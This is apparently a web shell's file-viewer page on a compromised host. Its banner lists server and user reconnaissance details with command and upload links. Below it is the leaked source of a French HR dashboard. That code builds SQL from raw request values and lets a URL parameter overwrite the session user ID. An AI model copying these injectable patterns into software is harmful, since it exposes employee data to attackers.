|
Server IP : 10.128.40.6 / Your IP : 216.73.216.180 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// $a = 2 ;
// $b = 6 ;
// $somme = $a + $b ;
// echo " m la somme est ==> $somme <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$user_id=$_SESSION['MCPRO']['user_id'] ;
if(!empty($_POST) AND empty($_POST['update_tache']))
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
// exit() ;
$page="index.php";
if(!empty($_POST['tache_date_fin']))
{
$tache_date_fin= dateformaint($_POST['tache_date_fin']) ;
}
// echo "==> $tache_date_fin <br/>" ;
// exit() ;
$date_creation = date("Ymd");
$tache_titre_id=$_POST['tache_titre_id'] ;
// $tache_date_fin=$_POST['tache_date_fin'] ;
$tache_Priorite=$_POST['tache_Priorite'] ;
$salarie_id=$_POST['salarie_id'] ;
$client_id=$_POST['client_id'] ;
// $tache_categorie_id = $_POST['tache_categorie_id'] ;
// $user_id=$_SESSION['MCPRO']['user_id'] ;
$user_id = $_SESSION['MCPRO']['login']['4'] ;
$tache_designation=addslashes($_POST['tache_designation']) ;
$tache_description=addslashes($_POST['tache_description']) ;
dbi_query(" INSERT INTO tache (
tache_titre_id,
tache_date_fin,
tache_Priorite,
salarie_id,
client_id,
user_id,
tache_description,
date_creation
)
VALUES
(
'$tache_titre_id',
'$tache_date_fin',
'$tache_Priorite',
'$salarie_id',
'9576',
'$user_id',
'$tache_description',
'$date_creation'
)") ;
list($tache_idd)=dbi_fetch_row(dbi_query("SELECT max(tache_id) FROM `tache`")) ;
header("Location:fetch_record2.php?msg=tache bien ajouté&color=success&page=$page&rowid=$tache_idd");
}
?>
<script language="Javascript">
function GetIdBureau()
{
var id="";
id = document.admin_form.admin_id.value ;
if( id > 0 || id=="INDEFINI" )
window.location = "indexRH.php?id="+id;
else
window.location = "indexRH.php";
}
</script>
<?php
// echo "<pre>" ;
// print_r($_GET) ;
// echo "<pre>" ;
if(!empty($_GET['id']))
{
$_SESSION['MCPRO']['user_id']= $_GET['id'] ;
}
//----------------------------------------------------------------- visite médicale -----------------------------------------------------------------------------------------
$quu = dbi_query("SELECT * FROM salarie where `salarie_statut` = '1' ORDER BY salarie_nom ASC") ;
$visite_m = 0 ;
while($cl=dbi_fetch_row($quu))
{
list($salarie_vm_id) = dbi_fetch_row(dbi_query(" SELECT max(salarie_vm_id) FROM `salarie_vm` WHERE `salarie_id` = ".$cl['salarie_id']));
if(!empty($salarie_vm_id)){
list($salarie_vm_date_prev , $salarie_vm_date_rdv) = dbi_fetch_row(dbi_query(" SELECT salarie_vm_date_prev , salarie_vm_date_rdv FROM `salarie_vm` WHERE salarie_vm_id = ".$salarie_vm_id));
// }
if($salarie_vm_date_prev > 0 ){
$salarie_vm_date_prev_format = int2date_autre_format($salarie_vm_date_prev);
$today = date("Y-m-d");
$ajourdh = date("Ymd");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_vm_date_prev_format);
$interval = $start_date->diff($end_date);
$nbr_jour = $interval->format('%a');
// echo "==>".$salarie_vm_date_prev."<br/>" ;
if($ajourdh > $salarie_vm_date_prev )
{
// echo "=OOOOOOOOOOO=>".$salarie_vm_date_prev."<br/>" ;
// echo $cl['salarie_id']."==".$salarie_vm_id." -- ".$salarie_vm_date_prev."<br/>" ;
$visite_m ++;
}else
{
if($nbr_jour <30 )
{
// echo $cl['salarie_id']."==".$salarie_vm_id." -- ".$salarie_vm_date_prev."<br/>" ;
$visite_m ++;
}
}
}else{
$visite_m ++;
}
}else{
$visite_m ++;
}
}
//----------------------------------------------------------------- Mutuelle -----------------------------------------------------------------------------------------
$qqq = dbi_query("SELECT * FROM salarie s where `salarie_statut` = '1' and salarie_mutuelle = '1' ORDER BY s.salarie_date_anciennete ASC ") ;
$expiree = 0 ;
while($cl=dbi_fetch_row($qqq))
{
// echo "====>".$cl['salarie_mutuelle_date_justificatif']."<br/>" ;
$salarie_mutuelle_date_justificatif = int2date_autre_format($cl['salarie_mutuelle_date_justificatif']);
$today = date("Y-m-d");
$ajourdh = date("Ymd");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_mutuelle_date_justificatif);
$interval = $start_date->diff($end_date);
$nbr_jour = $interval->format('%a');
if($ajourdh > $cl['salarie_mutuelle_date_justificatif'] )
{
$expiree ++;
}else
{
if($nbr_jour <30 )
{
$expiree ++;
}
}
}
// echo date('Y-m-d', strtotime('+30 days')) ;
$qq= dbi_query("SELECT * FROM salarie s where `salarie_statut` = '1' ORDER BY s.salarie_date_anciennete ASC ") ;
$anciennte_dans_an = 0 ;
while($cl=dbi_fetch_row($qq))
{
$salarie_date_anciennete = int2date_autre_format($cl['salarie_date_anciennete']);
$today = date("Y-m-d");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_date_anciennete);
$interval = $start_date->diff($end_date);
$nbrr = $interval->format('%a');
if($nbrr < 365 and $nbrr > 335 ){
$anciennte_dans_an ++ ;
}
}
$q= dbi_query("SELECT * FROM salarie s where `salarie_document_date_validite` != 0 and `salarie_statut` = '1'
and `salarie_nationalite` != 'FRANCE'
and `salarie_nationalite` != 'PORTUGAL'
and `salarie_nationalite` != 'ALLEMAGNE'
and `salarie_nationalite` != 'AUTRICHE'
and `salarie_nationalite` != 'BELGIQUE'
and `salarie_nationalite` != 'BULGARIE'
and `salarie_nationalite` != 'CHYPRE'
and `salarie_nationalite` != 'CROATIE'
and `salarie_nationalite` != 'DANEMARK'
and `salarie_nationalite` != 'ESPAGNE'
and `salarie_nationalite` != 'ESTONIE'
and `salarie_nationalite` != 'FINLANDE'
and `salarie_nationalite` != 'GRECE'
and `salarie_nationalite` != 'HONGRIE'
and `salarie_nationalite` != 'IRLANDE'
and `salarie_nationalite` != 'ITALIE'
and `salarie_nationalite` != 'LETTONIE'
and `salarie_nationalite` != 'LITUANIE'
and `salarie_nationalite` != 'LUXEMBOURG'
and `salarie_nationalite` != 'MALTE'
and `salarie_nationalite` != 'PAYS-BAS'
and `salarie_nationalite` != 'POLOGNE'
and `salarie_nationalite` != 'TCHEQUIE LA'
and `salarie_nationalite` != 'ROUMANIE'
and `salarie_nationalite` != 'SLOVAQUIE'
and `salarie_nationalite` != 'SLOVENIE'
and `salarie_nationalite` != 'SUEDE'
ORDER BY s.salarie_document_date_validite ASC ") ;
$start_date = new DateTime("2015-10-31");
$end_date = new DateTime("2017-12-25");
$interval = $start_date->diff($end_date);
$nbrr = $interval->format('%a');
// echo "==l>".$nbrr."<br/>" ;
$moins_nbr = 0 ;
while($cl=dbi_fetch_row($q))
{
$salarie_document_date_validite = int2date_autre_format($cl['salarie_document_date_validite']);
$today = date("Y-m-d");
$start_date = new DateTime($today);
$end_date = new DateTime($salarie_document_date_validite);
$interval = $start_date->diff($end_date);
$nbrr = $interval->format('%a');
// echo $salarie_document_date_validite."----".$today."----".$nbrr."<br/>" ;
// echo "==jjkkkkkj>".$nbrr."<br/>" ;
$ajourd = date("Ymd");
if( $ajourd > $cl['salarie_document_date_validite'] ) {
$moins_nbr ++ ;
}
if( $ajourd < $cl['salarie_document_date_validite'] ) {
if($nbrr <= 30){
$moins_nbr ++ ;
}
}
}
// echo "==>".$moins_nbr."<br/>" ;
?><html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
<h3><button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-tache"><i class="fas fa-plus"></i> TACHE</button></h3>
</li>
<li>
 
</li>
<li>
 
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a href="login.php?dec=1" class="nav-link">
<i class="nav-icon fas fa-power-off"></i>
</a>
</li><!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<!-- Brand Logo -->
<a href="index3.html" class="brand-link">
<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<!-- Sidebar -->
<div class="sidebar">
<!-- Sidebar user panel (optional) -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="#" class="d-block">Steeven ROBLOT</a>
</div>
</div>
<?php include('menu.php') ?>
<!-- Sidebar Menu -->
</div>
<!-- /.sidebar -->
</aside>
<div class="row mb-2">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<div class="modal fade" id="modal-tache">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Nouvelle TACHE</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST">
<!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
<div class="form-row">
<div class="form-group col-md-12">
<label>Sujet </label>
<div class="input-group">
<!-- <input type="text" class="form-control" name="number" placeholder="jj/mm/aaaa"> -->
<? $raq_cat =dbi_query("SELECT * FROM `tache_titre` where `titre_RH` = 1 ") ; ?>
<select class="form-control" style="width: 100%;" name="tache_titre_id" id="tache_titre_id">
<option value="0" selected="selected" disabled="disabled">-Sujet-</option>
<? while ($res_cat =dbi_fetch_row($raq_cat)) { ?>
<option value="<?=$res_cat['tache_titre_id'] ?> " > <? echo $res_cat['tache_sujet'] ; ?> </option>
<? }?>
</select>
</div>
</div>
<div class="form-group col-md-12">
<label for="inputsociete">Description</label>
<textarea class="form-control" id="exampleFormControlTextarea1" name="tache_description" rows="3"></textarea>
</div>
<?php
$req =dbi_query("SELECT * FROM `salarie` WHERE `salarie_statut` = '1' ORDER BY `salarie`.`salarie_nom` ASC") ;
?>
<div class="form-group col-md-12"><!-- Liste déroulante jour -->
<label>Salarié </label>
<select class="form-control select2" style="width: 100%;" name="salarie_id">
<option value="-1" selected="selected" disabled="disabled">-Salarié-</option>
<?php
while( $sal=dbi_fetch_row($req))
{
?>
<option value="<?php echo $sal['salarie_id'] ; ?>" ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
<?php
}
?>
</select>
</div>
<?php
// $q= dbi_query("SELECT * FROM prospect") ;
$req_client =dbi_query("SELECT * FROM `client` WHERE `client_statut` = '1' and prospect = 0 ORDER BY `client`.`client_nom` ASC") ;
?>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
</form>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
</div>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1 class="m-0">Tableau de Bord RH</h1>
</div><!-- /.col -->
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
<li class="breadcrumb-item active">Tableau de Bord RH</li>
</ol>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<div class="container-fluid">
<div class="row">
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3>VALIDITE ID</h3>
<p>Documents expirant dans moins de 30 jours : <strong><?php echo $moins_nbr ?> </strong></p>
</div>
<div class="icon">
<i class="ion ion-android-alert"></i>
</div>
<a href="controle_salarie_etat_civil.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3>VISITES MEDICALES</h3>
<p>Visites médicales à programmer + expiré <strong><?php echo $visite_m ?> </strong></p>
</div>
<div class="icon">
<i class="ion ion-medkit"></i>
</div>
<a href="control_salarie_vm.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3>ANCIENNETE</h3>
<p>Ancienneté > 12 mois dans les 30 jours <strong><?php echo $anciennte_dans_an ?> </strong> </p>
</div>
<div class="icon">
<i class="ion ion-android-phone-portrait"></i>
</div>
<a href="controle_salarie_anciennete.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
</div>
<div class="row">
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-primary">
<div class="inner">
<h3>DEMANDES DE CP</h3>
<p> </p>
</div>
<div class="icon">
<i class="ion ion-calendar"></i>
</div>
<a href="demande_cp.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-danger">
<div class="inner">
<h3>Mutuelle</h3>
<p>expire dans moins de 30 jr + expirée : <strong><?php echo $expiree ;?> </strong></p>
</div>
<div class="icon">
<i class="ion ion-android-phone-portrait"></i>
</div>
<a href="controle_mutuelle.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-secondary">
<div class="inner">
<h3>PARAMETRAGE</h3>
<p>Enregistrement des numéros de téléphone des clients</p>
</div>
<div class="icon">
<i class="ion ion-android-settings"></i>
</div>
<a href="prest_chanti.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-pink">
<div class="inner">
<h3>DFS</h3>
<p></p>
</div>
<div class="icon">
<i class="ion ion-checkmark"></i>
</div>
<a href="dfs.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-info">
<div class="inner">
<h3> Jours Réstants</h3>
<p></p>
</div>
<div class="icon">
<i class="ion ion-android-alert"></i>
</div>
<a href="jour_restant.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<div class="col-lg-4 col-6">
<!-- small box -->
<div class="small-box bg-primary">
<div class="inner">
<h3>Absences injustifiées</h3>
<p> </p>
</div>
<div class="icon">
<i class="ion ion-calendar"></i>
</div>
<a href="controle_abs_inj.php" class="small-box-footer">Voir <i class="fas fa-arrow-circle-right"></i></a>
</div>
</div>
<!-- ./col -->
</div>
</div>
<section class="content">
<div class="container-fluid">
<!-- Small boxes (Stat box) -->
<div class="row">
<!-- ./col -->
<!-- ./col -->
<!-- ./col -->
<!-- ./col -->
</div>
<!-- /.row -->
<!-- Main row -->
<!-- Left col -->
<?php
$Admin_ID = 83 ;
// $suivi = dbi_query(" SELECT * FROM sous_tache st , tache t where st.tache_id = t.tache_id AND sous_tache_status = 0 AND st.user_id = $Admin_ID ") ;
// $suivi = dbi_query(" SELEC * FROM sous_tache st , tache t , tache_titre th where st.tache_id = t.tache_id AND sous_tache_status = 0 AND st.user_id = $user_id ORDER BY st.sous_tache_date_fin ASC ") ;
$suivi = dbi_query(" SELECT * FROM sous_tache st , tache t where st.tache_id = t.tache_id AND sous_tache_status = 0 AND st.user_id = $user_id ORDER BY st.sous_tache_date_fin ASC ") ;
?>
<section class="content">
<div class="row">
<div class="col-12">
<div class="card card-primary">
<div class="card-body">
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<table id="" class="table table-hover">
<thead>
<TR>
<th align="center">SALARIE </th>
<th align="center">TACHE</th>
<th align="center">ACTION</th>
<th align="center">DATE </th>
</TR>
</thead>
<tbody>
<?php while($a = dbi_fetch_row($suivi)){
list($titre_RH) = dbi_fetch_row(dbi_query("SELECT titre_RH FROM `tache_titre` WHERE `tache_titre_id` = ".$a['tache_titre_id'])) ;
// echo $a['tache_id']."==> SELECT titre_RH FROM `tache_titre` WHERE `tache_titre_id` = ".$a['tache_titre_id']."<br/>" ;
if($titre_RH == 1){
list($Admin_nom) = dbi_fetch_row( dbi_query("SELECT user_nom,user_prenom FROM `users` WHERE `user_id` = ".$a['user_id'])) ;
// list($salarie_nom ,$salarie_prenom ) = dbi_fetch_row( dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['inter_id'])) ;
// $salarie_nomm = $salarie_nom." ".$salarie_prenom ;
// exit() :
// pour identifier les prospect car on peut pas faire la diffrence entre les prospect et les clients
// if($a['client_id']<100 and $a['client_id']!= 0)
// {
// list($client_nom)= dbi_fetch_row(dbi_query("SELECT prospect_nom FROM `prospect` WHERE `prospect_id` = ".$a['client_id'])) ;
// $nom_de_client=$client_nom." (Prospect) " ;
// $client_nom = $client_nom." (Prospect) " ;
// $client_id=$a['client_id'] ;
// }
// else
// {
if($a['client_id']!= 0)
{
list($client_nom,$prospect)= dbi_fetch_row(dbi_query("SELECT client_nom,prospect FROM `client` WHERE `client_id` = ".$a['client_id'])) ;
}
else
{ $client_nom = " <strong > N.C </strong>"; }
// }
list($salarie_nom , $salarie_prenom)= dbi_fetch_row(dbi_query("SELECT salarie_nom , salarie_prenom FROM `salarie` WHERE `salarie_id` = ".$a['salarie_id'])) ;
if(empty($salarie_nom) AND empty($salarie_prenom))
{
$salarie_nom = " <strong >N" ;
$salarie_prenom = ".C </strong> " ;
}
$sous_tache_date_fin = date2int_DSI($a['sous_tache_date_fin']) ;
$today = date("Ymd");
// echo "==> ==> $sous_tache_date_fin <br/>" ;
if($today>$sous_tache_date_fin)
{
$dat_fin =int2date($sous_tache_date_fin) ;
// echo "tetfrreeerrett <br/>" ;
$badge = 'badge-danger';
$dat_fin="<span class='badge ".$badge."'>".$dat_fin."</span>" ;
}
elseif($today== $sous_tache_date_fin)
{
$dat_fin =int2date($sous_tache_date_fin) ;
// echo "tetfrreeerrett <br/>" ;
$badge = 'badge-success';
$dat_fin="<span class='badge ".$badge."'>".$dat_fin."</span>" ;
}
else
{
$dat_fin =int2date($sous_tache_date_fin) ;
}
// exit() ;
$page = "index.php" ;
// echo "==>".$a['tache_recouvrement']."<br/>" ;
?>
<tr>
<td> <?php echo $salarie_nom." ".$salarie_prenom ; ?></td>
<td> <?php echo $a['tache_sujet'] ; ?></td>
<td> <?php echo substr($a['sous_tache_designation'] , 0, 50)." ...";?></td>
<td> <?php echo $dat_fin ?></td>
<?php
$prospect ="" ;
}}?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<!-- /.row (main row) -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-header -->
</div>
<?php include('footerr.php'); ?>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'ajaxAjoutMatR.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>